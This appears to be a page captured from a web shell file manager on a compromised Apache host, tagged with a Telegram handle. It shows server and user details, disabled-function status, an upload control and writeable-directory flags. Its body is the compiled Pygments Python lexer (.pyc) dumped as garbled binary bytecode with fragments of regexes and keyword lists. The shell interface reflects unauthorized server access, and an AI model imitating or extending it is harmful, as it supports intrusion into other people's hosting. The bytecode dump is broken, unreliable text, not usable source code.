https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/python.cpython-310.pyc
o

���a���@s2dZddlZddlZddlmZmZmZmZmZm	Z	m
Z
mZmZm
Z
ddlmZmZddlmZmZmZmZmZmZmZmZmZmZmZddlmZgd�Z e�!d�Z"Gd	d
�d
e�Z#e#Z$Gdd�de�Z%Gd
d�de�Z&Gdd�de�Z'e'Z(Gdd�de�Z)Gdd�de�Z*Gdd�de�Z+Gdd�de#�Z,dS)z�
    pygments.lexers.python
    ~~~~~~~~~~~~~~~~~~~~~~

    Lexers for Python and related languages.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)
�Lexer�
RegexLexer�include�bygroups�using�default�words�combined�
do_insertions�this)�get_bool_opt�shebang_matches)�Text�Comment�Operator�Keyword�Name�String�Number�Punctuation�Generic�Other�Error)�	unistring)�PythonLexer�PythonConsoleLexer�PythonTracebackLexer�Python2Lexer�Python2TracebackLexer�CythonLexer�DgLexer�
NumPyLexerz.*?
c@s�eZdZdZdZgd�Zgd�Zgd�Zej	ej
BZdej
ejfZdd�Zd	d
�Ziddefd
eeejej�fdeeejej�fdejfdejfdefdefed�ed�deee�dfdeee�dfdeeje�dfdeeje�dfed�g�ddeejej�edd �fd!eejej�edd"�fd#eejej�edd$�fd%eejej�edd&�fd'eejej�ed(d �fd)eejej�ed(d"�fd*eejej�ed(d$�fd+eejej�ed(d&�fd,eejej�d-fd.eejej�d/fd0eejej�d1fd2eejej�d3fd4eejej�ed5d-�fd6eejej�ed5d/�fd7eejej�ed5d1�fd8eejej�ed5d3�fd9efed:�d;efd<e fd=ej!fed>�ed?�ed@�edA�edB�g�dCdDe dEfdFej"dGfdHej"dGfdIefed�g�dEdDe dEfdJe dGfdIefed�g�d>e#dKdLdM�efe#dNdLdM�ej$fg�de#dOdLdM�efe#dNdLdM�ej$fg�ddPdQ�%e&j'�dReee�dSfg�dSdTeee(e)�e�fe*dG�g�d?e#dUdVdLdW�e+j,fdXe+j,j-fe#dYdVdLdW�e+j.fg�d@e#dZdLdM�e+j/j0fg�dAe#d[dLdM�e+j1j0fg�d:d\e2j3fd]e2j3fd^e2j4fd_e2j5fd`e2j6fdae2j7fg�dBdbee+j8fdbefee+fg�ded@�ee+j/dGfe*dG�g�dee+j9dGfg�ddceeee�fdde+jfee+jfdeeeee�fe*dG�g�ddfeeej�dGfdde+jfdge+j,j-dGfee+jfe*dG�g�dhej:fdiej:fged�ed5�gdjej:fgeej�eej�eej�eej�dkejdGfdlej:fedm�gdnejdGfdoej:fedp�gdkejdGfdlej:fedq�gdnejdGfdoej:fedr�gdsejdGfedm�dejfgdtejdGfedp�dejfgdsejdGfedq�dejfgdtejdGfedr�dejfgdu��Z;dvdw�Z<dxS)yrz�
    For `Python <http://www.python.org>`_ source code (version 3.x).

    .. versionadded:: 0.10

    .. versionchanged:: 2.5
       This is now the default ``PythonLexer``.  It is still available as the
       alias ``Python3Lexer``.
    �Python)�python�py�sage�python3�py3)
z*.pyz*.pywz*.jyz*.sagez*.sc�
SConstruct�
SConscriptz*.bzl�BUCK�BUILDzBUILD.bazel�	WORKSPACEz*.tac)z
text/x-pythonzapplication/x-pythonztext/x-python3zapplication/x-python3z	[%s][%s]*cCs&dtjfdtjfd|fd|fd|fgS)NzH%(\(\w+\))?[-#0 +]*([0-9]+|[*])?(\.([0-9]+|[*]))?[hlL]?[E-GXc-giorsaux%]zg\{((\w+)((\.\w+)|(\[[^\]]+\]))*)?(\![sra])?(\:(.?[<>=\^])?[-+ ]?#?0?(\d+)?,?(\.\d+)?[E-GXb-gnosx%]?)?\}z
[^\\\'"%{\n]+�[\'"\\]z%|(\{{1,2})�r�Interpol��ttype�r2�8/usr/lib/python3/dist-packages/pygments/lexers/python.py�innerstring_rulesDs���zPythonLexer.innerstring_rulescCs"dtjfdtjdfd|fd|fgS)Nz\}z\{�expr-inside-fstringz
[^\\\'"{}\n]+r-r.r0r2r2r3�
fstring_rulesXs

�zPythonLexer.fstring_rules�root�\n�&^(\s*)([rRuUbB]{,2})("""(?:.|\n)*?""")�&^(\s*)([rRuUbB]{,2})('''(?:.|\n)*?''')�\A#!.+$�#.*$�\\\n�\\�keywordsz
soft-keywords�(def)((?:\s|\\\s)+)�funcname�(class)((?:\s|\\\s)+)�	classname�(from)((?:\s|\\\s)+)�
fromimport�(import)((?:\s|\\\s)+)�import�exprz(?i)(rf|fr)(""")�rfstringescape�tdqfz(?i)(rf|fr)(''')�tsqfz(?i)(rf|fr)(")�dqfz(?i)(rf|fr)(')�sqfz([fF])(""")�
fstringescapez([fF])(''')z	([fF])(")z	([fF])(')z(?i)(rb|br|r)(""")�tdqsz(?i)(rb|br|r)(''')�tsqsz(?i)(rb|br|r)(")�dqsz(?i)(rb|br|r)(')�sqs�([uUbB]?)(""")�stringescape�([uUbB]?)(''')�([uUbB]?)(")�([uUbB]?)(')�[^\S\n]+�numbersz!=|==|<<|>>|:=|[-~+/*%=<>&^|.]�[]{}:(),;[]�(in|is|and|or|not)\bz
expr-keywords�builtins�
magicfuncs�	magicvars�namer5z[{([]zexpr-inside-fstring-innerz(=\s*)?(\![sraf])?\}�#popz(=\s*)?(\![sraf])?:�\s+z[])}])z	async for�await�else�for�if�lambda�yield�
yield from�\b��suffix)�True�False�None)�assert�asyncrb�break�continue�del�elifrc�except�finallyrd�globalrerf�pass�raise�nonlocal�return�try�whilergrh�as�withz6(^[ \t]*)(match|case)\b(?![ \t]*(?:[:,;=^&|@~)\]}]|(?:�|z)\b))zsoft-keywords-innerz(\s+)([^\n_]*)(_\b))A�
__import__�abs�all�any�bin�bool�	bytearray�
breakpoint�bytes�chr�classmethod�compile�complex�delattr�dict�dir�divmod�	enumerate�eval�filter�float�format�	frozenset�getattr�globals�hasattr�hash�hex�id�input�int�
isinstance�
issubclass�iter�len�list�locals�map�max�
memoryview�min�next�object�oct�open�ord�pow�print�property�range�repr�reversed�round�set�setattr�slice�sorted�staticmethod�str�sum�super�tuple�type�vars�zip�(?<!\.)��prefixrkz+(?<!\.)(self|Ellipsis|NotImplemented|cls)\b)D�ArithmeticError�AssertionError�AttributeError�
BaseException�BufferError�BytesWarning�DeprecationWarning�EOFError�EnvironmentError�	Exception�FloatingPointError�
FutureWarning�
GeneratorExit�IOError�ImportError�
ImportWarning�IndentationError�
IndexError�KeyError�KeyboardInterrupt�LookupError�MemoryError�	NameError�NotImplementedError�OSError�
OverflowError�PendingDeprecationWarning�ReferenceError�ResourceWarning�RuntimeError�RuntimeWarning�
StopIteration�SyntaxError�
SyntaxWarning�SystemError�
SystemExit�TabError�	TypeError�UnboundLocalError�UnicodeDecodeError�UnicodeEncodeError�UnicodeError�UnicodeTranslateError�UnicodeWarning�UserWarning�
ValueError�VMSError�Warning�WindowsError�ZeroDivisionError�BlockingIOError�ChildProcessError�ConnectionError�BrokenPipeError�ConnectionAbortedError�ConnectionRefusedError�ConnectionResetError�FileExistsError�FileNotFoundError�InterruptedError�IsADirectoryError�NotADirectoryError�PermissionError�ProcessLookupError�TimeoutError�StopAsyncIteration�ModuleNotFoundError�RecursionError)^�__abs__�__add__�
__aenter__�	__aexit__�	__aiter__�__and__�	__anext__�	__await__�__bool__�	__bytes__�__call__�__complex__�__contains__�__del__�__delattr__�
__delete__�__delitem__�__dir__�
__divmod__�	__enter__�__eq__�__exit__�	__float__�__floordiv__�
__format__�__ge__�__get__�__getattr__�__getattribute__�__getitem__�__gt__�__hash__�__iadd__�__iand__�
__ifloordiv__�__ilshift__�__imatmul__�__imod__�__imul__�	__index__�__init__�__instancecheck__�__int__�
__invert__�__ior__�__ipow__�__irshift__�__isub__�__iter__�__itruediv__�__ixor__�__le__�__len__�__length_hint__�
__lshift__�__lt__�
__matmul__�__missing__�__mod__�__mul__�__ne__�__neg__�__new__�__next__�__or__�__pos__�__pow__�__prepare__�__radd__�__rand__�__rdivmod__�__repr__�__reversed__�
__rfloordiv__�__rlshift__�__rmatmul__�__rmod__�__rmul__�__ror__�	__round__�__rpow__�__rrshift__�
__rshift__�__rsub__�__rtruediv__�__rxor__�__set__�__setattr__�__setitem__�__str__�__sub__�__subclasscheck__�__truediv__�__xor__)�__annotations__�	__bases__�	__class__�__closure__�__code__�__defaults__�__dict__�__doc__�__file__�__func__�__globals__�__kwdefaults__�
__module__�__mro__�__name__�__objclass__�__qualname__�__self__�	__slots__�__weakref__zT(\d(?:_?\d)*\.(?:\d(?:_?\d)*)?|(?:\d(?:_?\d)*)?\.\d(?:_?\d)*)([eE][+-]?\d(?:_?\d)*)?z!\d(?:_?\d)*[eE][+-]?\d(?:_?\d)*j?z0[oO](?:_?[0-7])+z0[bB](?:_?[01])+z0[xX](?:_?[a-fA-F0-9])+z\d(?:_?\d)*�@�(\s+)(as)(\s+)z\.�
(\s*)(,)(\s*)z(\s+)(import)\b�None\bz\{\{z\}\}�Y\\([\\abfnrtv"\']|\n|N\{.*?\}|u[a-fA-F0-9]{4}|U[a-fA-F0-9]{8}|x[a-fA-F0-9]{2}|[0-7]{1,3})�"�
\\\\|\\"|\\\n�fstrings-double�'�
\\\\|\\'|\\\n�fstrings-single�strings-double�strings-single�"""�''')rIrNrTr�r�r�r�rLrMrQrRrJrKrOrPcCst|d�pd|dd�vS)N�pythonw?(3(\.\d)?)?�import ���r
��textr2r2r3�analyse_text�s
�zPythonLexer.analyse_textN)=rursrwrnr_�aliases�	filenames�	mimetypes�re�	MULTILINE�UNICODE�flags�uni�	xid_start�xid_continue�uni_namer4r6rrr�Affix�Docr�Hashbang�Singlerr�	Namespace�Doubler	rr�Wordr/r�Constant�join�keyword�kwlistrrrr�Builtin�Pseudor��Function�Magic�Variabler�Float�Oct�Bin�Hex�Integer�	Decorator�Class�Escape�tokensr�r2r2r2r3rsN
������������������������I����W��]����e����n
��
���w��|
��
����%�����>�����G����P���U
���Z
���]���d���n����
�
�
�
�
�
�
�
����(rc"@s�eZdZdZdZddgZgZddgZdd�Zid	d
e	fde
e	ejej
�fde
e	ejej
�fd
e	fdejfdejfdefde	fde	fdejfdefed�de
ee	�dfde
ee	�dfde
eje	�dfde
eje	�dfed�ed�ed �ed!�d"e
ejej�d#fd$e
ejej�d%fd&e
ejej�d'fd(e
ejej�d)fd*e
ejej�ed+d#�fd,e
ejej�ed+d%�fd-e
ejej�ed+d'�fd.e
ejej�ed+d)�fed/�ed0�g�ded1d2d3�efg�ded4d5d2d6�ejfd7ejjfed8d5d2d6�ejfg�ded9d2d3�ejjfg�d ed:d2d3�ej jfg�d0d;e!j"fd<e!j"fd=e!j#fd>e!j$fd?e!j%fd@e!j&j'fdAe!j&fg�d!dBej(fg�d/dCej)fdDefg�ded�dDejdEfe*dE�g�ddDej+dEfg�ddFe	fdGejfdHefdIejfe*dE�g�ddFe	fdJejdEfdKejjdEfdLejfe*dE�g�d+dMej,fg�dNeej��dOeej��d'dPejdEfdQej,fedO�g�d)dRejdEfdSej,fedN�g�dTejdEfedO�d
ejfgdUejdEfedN�d
ejfgdV��Z-dWdX�Z.dYS)Zra 
    For `Python 2.x <http://www.python.org>`_ source code.

    .. versionchanged:: 2.5
       This class has been renamed from ``PythonLexer``.  ``PythonLexer`` now
       refers to the Python 3 variant.  File name patterns like ``*.py`` have
       been moved to Python 3 as well.
    z
Python 2.x�python2�py2ztext/x-python2zapplication/x-python2cCsdtjfd|fd|fd|fgS)N�G%(\(\w+\))?[-#0 +]*([0-9]+|[*])?(\.([0-9]+|[*]))?[hlL]?[E-GXc-giorsux%]�[^\\\'"%\n]+r-�%r.r0r2r2r3r4�s��zPython2Lexer.innerstring_rulesr7r8r9r:rXr;r<rZr=r>r[z!=|==|<<|>>|[-~+/*%=<>&^|.]r?r@rArBrCrDrErFrGr\r]r^�backtickz!([rR]|[uUbB][rR]|[rR][uUbB])(""")rOz!([rR]|[uUbB][rR]|[rR][uUbB])(''')rPz([rR]|[uUbB][rR]|[rR][uUbB])(")rQz([rR]|[uUbB][rR]|[rR][uUbB])(')rRrSrTrUrVrWr_rY)rorqrrrsrtrcru�execrvrdrwrerfrxr�ryr{r|r}rgrhr~rrirj)Nr�r�r�r��apply�
basestringr�r��bufferr�r��callabler�r��cmp�coercer�r�r�r�r�r�r�r��execfile�exit�filer�r�r�r�r�r�r�r�r�r�r��internr�r�r�r�r�r��longr�r�r�r�r�r�r�r�r�r�r��	raw_input�reduce�reloadr�r�r�r�r�r�r�r�r�r�r�r�r��unichr�unicoder��xranger�r�r�z;(?<!\.)(self|None|Ellipsis|NotImplemented|False|True|cls)\b)1r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��OverflowWarningr�r�r�r��
StandardErrorr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�)_r	r
rr�__cmp__�
__coerce__rrrrrr�__delslice__�__div__rrrrrr r"r#r$r%r&�__getslice__r'r(�__hex__r)r*�__idiv__r+r,r.r/r0r1r2r3r4�__iop__r5r6r7r8r9r:r;r<r=�__long__r?r@rBrCrDrErFrG�__nonzero__�__oct__�__op__rIrJrKrMrN�__rcmp__�__rdiv__rOrPrQrRrSrUrV�__rop__rWrYrZr[r\r]r^r_r`ra�__setslice__rbrcrdre�__unicode__rf)rhrirjrkrlrmrnrorprq�
__metaclass__rsrtrurxryrzz'(\d+\.\d*|\d*\.\d+)([eE][+-]?[0-9]+)?j?z\d+[eE][+-]?[0-9]+j?z	0[0-7]+j?z
0[bB][01]+�0[xX][a-fA-F0-9]+�\d+Lz\d+j?�`.*?`z@[\w.]+�[a-zA-Z_]\w*r`z(?:[ \t]|\\\n)+�as\b�,�[a-zA-Z_][\w.]*zimport\br~�[a-zA-Z_.][\w.]*rr�r�r�r�r�r�r�r�)rOrPcCs
t|d�S)Nzpythonw?2(\.\d)?r�r�r2r2r3r�ms
zPython2Lexer.analyse_textN)/rursrwrnr_r�r�r�r4rrrr�r�rr�r�rrr�rrr�r�r	rrr�r�r�r�r�r�rr�r�r�r�r��Long�Backtickr�rr�r�r�r�r2r2r2r3r�s�	
��������������-����5�
������W����m����v
�������
���
������
���"����
&��
'��(
���-
���
3�
���>rc@s0eZdZdZdZdgZdgZdd�Zdd�Zd	S)
ra�
    For Python console output or doctests, such as:

    .. sourcecode:: pycon

        >>> a = 'foo'
        >>> print a
        foo
        >>> 1 / 0
        Traceback (most recent call last):
          File "<stdin>", line 1, in <module>
        ZeroDivisionError: integer division or modulo by zero

    Additional options:

    `python3`
        Use Python 3 lexer for code.  Default is ``True``.

        .. versionadded:: 1.0
        .. versionchanged:: 2.5
           Now defaults to ``True``.
    zPython console session�pyconztext/x-python-doctestcKs$t|dd�|_tj|fi|��dS)Nr&T)rr&rr1)�self�optionsr2r2r3r1�szPythonConsoleLexer.__init__c	cs�|jrtd
i|j��}td
i|j��}ntd
i|j��}td
i|j��}d}g}d}d}d}t�|�D]�}	|	��}
|
�	d�sD|
�	d�rad}|�
t|�dtj
|
dd�fgf�||
dd�7}q4|
��dkr�|s�|�
t|�dtj
dfgf�||
dd�7}q4|r�t||�|��EdHd}g}|
�	d�s�t�d	|
�r�d
}|
}|	��}q4|
dkr�|	��tj|
fVq4|r�||
7}|
�	d�s�|
��dks�d}|�|�D]
\}}}
||||
fVq�d}q4|	��tj|
fVq4|r�t||�|��EdH|�r	|�|�D]\}}}
||||
fVq�dSdS)N�rz>>> z... �z...�z"Traceback (most recent call last):z  File "[^"]+", line \d+\n$�zKeyboardInterrupt
� r2)r&rr�rrr�line_re�finditer�group�
startswith�appendr�r�Prompt�rstripr
�get_tokens_unprocessedr��match�startrr��strip�Output)r�r��pylexer�tblexer�curcode�
insertions�curtb�tbindex�tbr��line�i�t�vr2r2r3r��sp�
�
�

�

�
�
��z)PythonConsoleLexer.get_tokens_unprocessedN)	rursrwrnr_r�r�r1r�r2r2r2r3rqsrc@s�eZdZdZdZddgZddgZddgZd	efd
e	j
dfde	j
fd
e	j
fde	j
dfdefgdeee
jeeee
e�fdeee
jeee�fdeeee�e�dfdeeee�fdee	jee
e�dfdee	je�dfgdeeeje�dfed�gd�ZdS)ra
    For Python 3.x tracebacks, with support for chained exceptions.

    .. versionadded:: 1.0

    .. versionchanged:: 2.5
       This is now the default ``PythonTracebackLexer``.  It is still available
       as the alias ``Python3TracebackLexer``.
    zPython Traceback�pytb�py3tbz*.pytbz*.py3tbztext/x-python-tracebackztext/x-python3-tracebackr8z'^Traceback \(most recent call last\):\n�intbzH^During handling of the above exception, another exception occurred:\n\nzI^The above exception was the direct cause of the following exception:\n\n�^(?=  File "[^"]+", line \d+)�^.*\n�0^(  File )("[^"]+")(, line )(\d+)(, in )(.+)(\n)�%^(  File )("[^"]+")(, line )(\d+)(\n)�^(    )(.+)(\n)�markers�^([ \t]*)(\.\.\.)(\n)�^([^:]+)(: )(.+)(\n)r`z^([a-zA-Z_][\w.]*)(:?\n)z^( {4,})([~^]+)(\n))r7rrN)rursrwrnr_r�r�r�rr�	Tracebackrrrr�rrrrrr�Markerrr�r2r2r2r3r�sV

��
����
������
�rc@s�eZdZdZdZdgZdgZdgZdee	e
j�dfde
jdfd	efgd
ee	e
je	ee	e
e	�fdee	e
je	ee	�fdee	ee�e	�d
fdee	ee	�fdee
je	e
e	�dfdee
je	�dfgdee	ej�dfed�gd�ZdS)rz�
    For Python tracebacks.

    .. versionadded:: 0.7

    .. versionchanged:: 2.5
       This class has been renamed from ``PythonTracebackLexer``.
       ``PythonTracebackLexer`` now refers to the Python 3 variant.
    zPython 2.x Traceback�py2tbz*.py2tbztext/x-python2-tracebackz^(\^C)?(Traceback.*\n)rr
rrrr�markerrrr`z^([a-zA-Z_]\w*)(:?\n)z( {4,})(\^))r7rrN)rursrwrnr_r�r�r�rrrrrrr�rrrrrrrrr�r2r2r2r3rsF
�
�
���
�����
�rc
@s�eZdZdZdZgd�Zgd�ZddgZidgdef�d	e	ee
j�f�d
e	ee
j�f�def�def�d
e
f�def�def�dejf�de	e
eje
�f�def�de	eejeeeee
�f�ed��de	ee�df�de	ee�df�de	ee
�f�de	ee�df�de	ee�df�de	ee�df�ed ��ed!��d"e
d#f�d$e
d%f�d&e
d'f�d(e
d)f�d*e
ed+d#�f�d,e
ed+d%�f�d-e
ed+d'�f�d.e
ed+d)�f�ed/��ed0���ded1d2d3�efd4ejfg�d ed5d6d2d7�ejfd8ejjfed9d6d2d7�ejfg�d0d:ejfd;ejfd<ejfd=ejjfd>ejfg�d!d?e
j fg�d/d@ej!fdAefg�ddAej"dBfg�ddCej#fdDefdEe	ej"e�dBfdFe	ej"ee
�fdGedBfdHefdIe
dBfdJedBfdAejfdKefg
�ddAej$dBfg�ddLe	eee�fdMej%fdNe	eee�fe&dB�g�ddOe	ee�dBfdPej%fe&dB�g�d+dQe
j'fg�dRdSe
j(fdTe
fdUe
fdVe
fg�dWde
fg�d'dXe
dBfdYe
j'fedR�g�d)dZe
dBfd[e
j'fedR�g�d#d\e
dBfedR�edW�g�d%d]e
dBfedR�edW�gi�Z)d^S)_rz]
    For Pyrex and `Cython <http://cython.org>`_ source code.

    .. versionadded:: 1.1
    �Cython)�cython�pyx�pyrex)z*.pyxz*.pxdz*.pxiz
text/x-cythonzapplication/x-cythonr7r8z^(\s*)("""(?:.|\n)*?""")z^(\s*)('''(?:.|\n)*?''')rXr<rZr=r>r[z(<)([a-zA-Z0-9.?]+)(>)z!=|==|<<|>>|[-~+/*%=<>&^|.?]z(from)(\d+)(<=)(\s+)(<)(\d+)(:)r?z(def|property)(\s+)rAz
(cp?def)(\s+)�cdefz	(cdef)(:)z(class|struct)(\s+)rCz(from)(\s+)rEz(c?import)(\s+)rGr\r�z(?:[rR]|[uU][rR]|[rR][uU])"""rOz(?:[rR]|[uU][rR]|[rR][uU])'''rPz(?:[rR]|[uU][rR]|[rR][uU])"rQz(?:[rR]|[uU][rR]|[rR][uU])'rRz[uU]?"""rTz[uU]?'''z[uU]?"z[uU]?'r_rY)rorprbrq�byrr�ctypedefrsrtrcruzexcept?r�rvrd�fused�gilrwrerrf�nogilrxr�ryr{r|r}rgr~rrirjz(DEF|IF|ELIF|ELSE)\b)Qr�r�r�r�r�r�r��bintr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��
Py_ssize_tr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��unsignedr�r�r�r�r�z<(?<!\.)(self|None|Ellipsis|NotImplemented|False|True|NULL)\b)0r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��NotImplementedr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�z&(\d+\.?\d*|\d*\.\d+)([eE][+-]?[0-9]+)?z0\d+r�r�z\d+r�z@\w+r�r`z%(public|readonly|extern|api|inline)\bz(struct|enum|union|class)\bz([a-zA-Z_]\w*)(\s*)(?=[(:#=]|$)z([a-zA-Z_]\w*)(\s*)(,)zfrom\br��:z	(?=["\'])�.r|r�r}z(\s+)(c?import)\br�r�stringszP%(\([a-zA-Z0-9]+\))?[-#0 +]*([0-9]+|[*])?(\.([0-9]+|[*]))?[hlL]?[E-GXc-giorsux%]r�r-r��nlr�r�r�r�r�r�N)*rursrwrnr_r�r�r�rrrr�rrrr�r�Typerr�rrr	r�Preprocr�r�r�r�r�r�r�r�r�r��Reservedr�r�rr�r/r�r2r2r2r3r1s���������	�
���
������������������ �!�"�#��&����/�
������Q
��X��[��_
��b����p
��s��y��������������������� ��
�rc@szeZdZdZdZdgZdgZdgZdefde	j
fdejfdej
fd	ejfd
ejfdejfdejfd
eeddd�fdeeddd�fdeeddd�fdeeddd�fdefdejfdefedddd�ejfedddd�ejfdejjfd ejfd!ejfd"ejfd#efd$ejfd%efd&efd'efgd(ejfgd)ej fd*efd+efd,efd-efgd.ed/fgd0ed/fgd1ed/fgd2ed/fgd3�Z!d4S)5r z�
    Lexer for `dg <http://pyos.github.com/dg>`_,
    a functional and object-oriented programming language
    running on the CPython 3 VM.

    .. versionadded:: 1.6
    �dgz*.dgz	text/x-dgraz#.*?$z(?i)0b[01]+z(?i)0o[0-7]+z(?i)0x[0-9a-f]+z((?i)[+-]?[0-9]+\.[0-9]+(e[+-]?[0-9]+)?j?z(?i)[+-]?[0-9]+e[+-]?\d+j?z(?i)[+-]?[0-9]+j?z(?i)(br|r?b?)'''rTrP�stringz(?i)(br|r?b?)"""rOz(?i)(br|r?b?)'rRz(?i)(br|r?b?)"rQz`\w+'*`z\b(and|in|is|or|where)\bz[!$%&*+\-./:<-@\\^|~;,]+)r�r�r�r�r�r�zdict'r�r�r�r�zlist'r�r�r�r�r�zset'r�r�r�r�r�ztuple'r�r�z
(?![\'\w])r�)=r�r�r�r�r��bindr�r�r�r�r�r�r��drop�	dropwhiler�r��exhaustr��flipzfoldl1?r��fstr�r�r�r��headr�r��initr�r�r�r��iterate�lastr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�zscanl1?�sndr�r��tail�take�	takewhiler�r�z>(?<!\.)(self|Ellipsis|NotImplemented|None|True|False)(?!['\w])z3(?<!\.)[A-Z]\w*(Error|Exception|Warning)'*(?!['\w])zT(?<!\.)(Exception|GeneratorExit|KeyboardInterrupt|StopIteration|SystemExit)(?!['\w])z_(?<![\w.])(except|finally|for|if|import|not|otherwise|raise|subclass|while|with|yield)(?!['\w])z[A-Z_]+'*(?!['\w])z[A-Z]\w+'*(?!['\w])z\w+'*z[()]r(rr�r�r-r�r8r�r`r�r�r�)r7rTr/rQrRrOrPN)"rursrwrnr_r�r�r�rrr�rr�r�r�r�r�rr	rr�rrr�r�r�rr-r+rrr�r/r�r2r2r2r3r �s���	�
������9��������
�r c@s:eZdZdZdZdgZgZgZhd�Zdd�Z	dd�Z
d	S)
r!z[
    A Python lexer recognizing Numerical Python builtins.

    .. versionadded:: 0.10
    �NumPy�numpy>��c_�i0�r_�s_r��addr�r��cos�cov�dot�exp�eye�fft�fix�inf�inv�ix_�log�matr�r��mod�nan�ptp�put�sin�stdr��svd�tan�tri�var�who�alen�amax�amin�beta�bmat�ceil�clip�conj�copy�cosh�diag�diff�disp�dump�fabs�fill�flat�fmod�ifft�imag�info�item�kron�less�load�log2�mean�modf�ndim�ones�pinv�poly�prod�ranf�rank�real�rint�roll�seed�sign�sinc�sinh�size�sort�sqrtr<�tanh�test�tile�tril�triu�vdot�view�angle�arrayr��cross�dtype�dumps�empty�equal�expm1�finfo�floor�frexp�hypot�inner�isinf�isnan�ldexp�loads�log10�log1p�lstsq�mgrid�msort�ogrid�outer�place�power�ravel�roots�rot90r��shaper��solve�split�trace�trapz�where�zerosr��arange�arccos�arcsin�arctan�argmax�argmin�around�astype�choose�cumsum�delete�divide�dsplit�dstack�fliplr�flipud�geterr�gumbel�hsplit�hstack�insert�interp�invert�isreal�kaiser�matrix�median�nanmax�nanmin�nansum�poly1dr��repeat�resize�round_�sample�select�seterr�source�square�tofile�tolist�unique�unwrap�vander�vsplit�vstack�alltrue�arccosh�arcsinh�arctan2�arctanh�argsort�asarray�average�cumprod�ediff1d�extract�fftfreq�flatten�generic�greater�hamming�hanning�indices�itemset�lexsort�loadtxt�maximum�minimum�ndindex�newaxis�nonzero�pkgload�poisson�polyadd�polyder�polydiv�polyfit�polyint�polymul�polysub�polyval�product�putmask�randint�require�reshape�savetxt�shuffle�signbit�squeeze�uniform�union1d�weibull�absolute�allclose�alterdot�argwhere�asfarray�asmatrix�asscalar�bartlett�bincount�binomial�blackman�byteswap�can_cast�compress�convolve�corrcoef�diagflat�diagonal�digitize�fftshift�fromfile�fromiter�getfield�gradient�identity�isfinite�isneginf�isposinf�isscalar�issctype�iterable�linspace�logspace�meshgrid�multiply�negative�recarray�rollaxis�setfield�setflags�setxor1d�sometrue�subtract�swapaxes�tostring�typeDict�typename�unique1d�vonmises�	array_str�	base_repr�	broadcast�	conjugate�	correlate�	deprecate�	getbuffer�	geterrobj�	histogram�	index_exp�	iscomplex�	isfortran�	isrealobj�	nanargmax�	nanargmin�	newbuffer�	not_equal�	ones_like�	piecewise�	remainder�	row_stack�	setdiff1d�	seterrobj�	tensordot�	transpose�	vectorize�
accumulate�
array_repr�
arrayrange�
asanyarray�
atleast_1d�
atleast_2d�
atleast_3d�
bitwise_or�
cumproduct�
empty_like�
fromarrays�
frombuffer�
frompyfunc�
fromstring�
getbufsize�
geterrcall�
issubdtype�
left_shift�
less_equal�
logical_or�
nan_to_num�
obj2sctype�
reciprocal�
restoredot�
setbufsize�
seterrcall�
trim_zeros�
zeros_like�array_equal�array_equiv�array_split�binary_repr�bitwise_and�bitwise_not�bitwise_xor�byte_bounds�common_type�concatenate�expand_dims�flatnonzero�get_include�histogram2d�histogramdd�intersect1d�issubclass_�issubsctype�logical_and�logical_not�logical_xor�mintypecode�ndenumerate�permutation�right_shift�sctype2char�setmember1d�show_config�true_divide�array2string�column_stack�floor_divide�fromfunction�int_asbuffer�iscomplexobj�newbyteorder�searchsorted�sort_complex�
greater_equal�
random_sample�
real_if_close�
unravel_index�asfortranarray�get_array_wrap�intersect1d_nu�maximum_sctype�apply_over_axes�random_integers�set_numeric_ops�standard_normal�apply_along_axis�get_printoptions�may_share_memory�set_printoptions�asarray_chkfinite�ascontiguousarray�get_numpy_include�compare_chararrays�set_string_function�fastCopyAndTranspose�get_numarray_includeccsL�t�||�D]\}}}|tur||jvr|tj|fVq|||fVqdS)N)rr�r�EXTRA_KEYWORDSrr�)r�r��index�token�valuer2r2r3r��s�
��z!NumPyLexer.get_tokens_unprocessedcCs.|dd�}t|d�sd|vod|vpd|vS)Nr�r�r�zimport numpyzfrom numpy importr�)r��ltextr2r2r3r��s
��zNumPyLexer.analyse_textN)rursrwrnr_r�r�r�r�r�r�r2r2r2r3r!GsCr!)-rnr�r��pygments.lexerrrrrrrrr	r
r�
pygments.utilrr
�pygments.tokenrrrrrrrrrrr�pygmentsrr��__all__r�r�r�Python3Lexerrrr�Python3TracebackLexerrrr r!r2r2r2r3�<module>s.
04
w^X504c

https://t.me/RX1948 - 2025